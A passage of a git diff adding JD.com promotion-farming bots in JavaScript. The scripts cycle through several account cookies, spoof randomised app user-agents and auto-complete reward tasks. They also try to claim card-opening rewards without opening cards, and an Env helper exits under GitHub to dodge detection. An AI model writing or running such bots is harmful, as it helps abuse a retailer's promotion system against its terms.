*/*','Content-Type':'application/x-www-form-urlencoded','Accept-Encoding':'gzip, deflate, br','Accept-Language':'zh-cn','Connection':'keep-alive','Cookie':$.cookie,'Referer':'https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2','User-Agent':$.isNode()?process.env.JD_USER_AGENT?process.env.JD_USER_AGENT:require(_0x3a2151).USER_AGENT:$.getdata('JDUA')?$.getdata('JDUA'):'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + }}; + $.post(_0x4de18f,(_0x43af7c,_0x4afeb2,_0x557f34)=>{ + try{ + if(_0x43af7c){ + console.log(''+JSON.stringify(_0x43af7c)); + console.log($.name+' API请求失败,请检查网路重试'); + }else{ + if(_0x557f34){ + _0x557f34=JSON.parse(_0x557f34); + if(_0x557f34.retcode===13){ + $.isLogin=false; + return; + }if(_0x557f34.retcode===0){ + $.nickName=_0x557f34.base&&_0x557f34.base.nickname||$.UserName; + }else{ + $.nickName=$.UserName; + } + }else{ + console.log('京东服务器返回空数据'); + } + } + }catch(_0x4c8801){ + $.logErr(_0x4c8801,_0x4afeb2); + } + finally{ + _0x5b42bb(); + } + }); + }); +}; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_superBrandJXZ.js b/jd_superBrandJXZ.js new file mode 100644 index 0000000..ed465d2 --- /dev/null +++ b/jd_superBrandJXZ.js @@ -0,0 +1,288 @@ +/** +入口:首页下拉 +特务集勋章 +不开卡但尝试领取开卡任务奖励,集齐勋章晚上8点后瓜分,需要开卡才能集齐 +8 10,18,20 * * * jd_superBrandJXZ.js + */ +const $ = new Env('特务集勋章'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.flag = false +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + $.log('开卡任务不开卡但尝试领取任务奖励,集齐勋章晚上8点后瓜分,需要开卡才能集齐') + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + + UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false, 40, 40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + //await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + try { + await main(); + }catch (e) { + console.log(`好像账号黑号~~~`); + } + await $.wait(2000); + if ($.flag) return; + } + +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + $.runFlag = false; + $.activityInfo = {}; + await takeRequest('showBadgeInfo'); + if ($.bizCode == 'MP001') { + console.log(`本期活动结束,等待下期。。。`); + $.flag = true + return; + } + console.log(`获取活动详情成功`); + $.activityId = $.activityInfo.activityBaseInfo.activityId; + $.activityName = $.activityInfo.activityBaseInfo.activityName; + console.log(`当前活动:${$.activityName},ID:${$.activityId}`); + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.UserName] = $.encryptProjectId; + $.taskList = []; + await takeRequest('superBrandTaskList', { "source": "badge", "activityId": $.activityId }); + await $.wait(1000); + await doTask(); + if (new Date().getHours() >= 20) { + console.log(`去瓜分`); + if ($.activityInfo.activityBadgeInfo.allTaskStatus === 1) { + if ($.activityInfo.activityBadgeInfo.divideStatus === 0) { + await takeRequest('superBrandTaskLottery', { "source": "badge", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "tag": "divide" }); + } else { + $.log('已瓜分过啦!') + } + } else { + $.log('未获得瓜分资格'); + } + } else { + console.log('未到瓜分时间!') + } +} + + +async function doTask() { + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if ($.oneTask.completionFlag) { + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + + if ($.oneTask.assignmentType === 1 || $.oneTask.assignmentType === 7 || $.oneTask.assignmentType === 5) { + let subInfo = $.oneTask.ext.productsInfo || $.oneTask.ext.shoppingActivity || $.oneTask.ext.brandMemberList|| $.oneTask.ext.sign2; + if (subInfo && subInfo[0]) { + for (let j = 0; j < $.oneTask.assignmentTimesLimit; j++) { + $.runInfo = subInfo[j]; + if ($.runInfo.status !== 1) { + continue; + } + console.log(`任务:${$.runInfo.title || $.runInfo.shopName|| $.runInfo.skuName || $.runInfo.itemId},去执行`); + if($.oneTask.assignmentType === 5){ + await takeRequest('superBrandDoTask', { "source": "badge", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 0 ,"dropDownChannel":1}); + }else{ + await takeRequest('superBrandDoTask', { "source": "badge", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 0 }); + } + await $.wait(500); + + } + } + } + else if ($.oneTask.assignmentType === 3) { + let subInfo = $.oneTask.ext.followShop || ''; + if (subInfo && subInfo[0]) { + for (let j = 0; j < $.oneTask.assignmentTimesLimit; j++) { + $.runInfo = subInfo[j]; + if ($.runInfo.status !== 1) { + continue; + } + console.log(`任务:${$.runInfo.title || $.runInfo.shopName || $.runInfo.itemId},去执行`); + await takeRequest('superBrandDoTask', { "source": "badge", "activityId": $.activityId, "encryptProjectId": $.encryptProjectId, "encryptAssignmentId": $.oneTask.encryptAssignmentId, "assignmentType": $.oneTask.assignmentType, "itemId": $.runInfo.itemId, "actionType": 0 }); + } + } + + } + } +} +async function takeRequest(type, bodyInfo = '') { + let url = ``; + let myRequest = ``; + if (bodyInfo) { + url = `https://api.m.jd.com/?uuid=&client=wh5&area=&appid=ProductZ4Brand&functionId=${type}&t=${Date.now()}&body=${encodeURIComponent(JSON.stringify(bodyInfo))}`; + } else { + switch (type) { + case 'showBadgeInfo': + url = `https://api.m.jd.com/?uuid=&client=wh5&area=&appid=ProductZ4Brand&functionId=showBadgeInfo&t=${Date.now()}&body=%7B%22source%22:%22badge%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22badge%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/?uuid=&client=wh5&area=22_2005_2009_36385&appid=ProductZ4Brand&functionId=superBrandTaskLottery&t=${Date.now()}&body=%7B%22source%22:%22badge%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22%7D`; + break; + default: + console.log(`错误${type}`); + } + } + + myRequest = getRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + } catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'showBadgeInfo': + $.bizCode = data.data.bizCode; + if (data.code === '0' && data.data?.result) { + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + if (data.code === '0') { + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandDoTask': + if (data.code === '0') { + console.log(data.data.bizMsg); + } else { + console.log(data); + } + break; + case 'superBrandTaskLottery': + if (data.data.success) { + if (data.data?.result?.rewardComponent?.successRewards) { + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } else { + console.log(data.bizMsg); + } + break; + default: + console.log(data); + } +} + +function getRequest(url) { + const headers = { + 'Origin': `https://prodev.m.jd.com`, + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://prodev.m.jd.com/mall/active/HAQ8ecrWgUKYiCXiXu2mGEkNUUQ/index.html`, + 'Host': `api.m.jd.com`, + 'User-Agent': UA, + 'Accept-Language': `zh-cn`, + 'Accept-Encoding': `gzip, deflate, br` + }; + return { url: url, headers: headers, body: `` }; +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_superBrandStar.js b/jd_superBrandStar.js new file mode 100644 index 0000000..d454f29 --- /dev/null +++ b/jd_superBrandStar.js @@ -0,0 +1,283 @@ +/** +特务之明星送好礼 +一次性脚本。请禁用! +cron 36 2,19 * * * jd_superBrandStar.js + */ +const $ = new Env('特务之明星送好礼'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +let UA = ``; +$.allInvite = []; +let useInfo = {}; +$.flag = false +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": 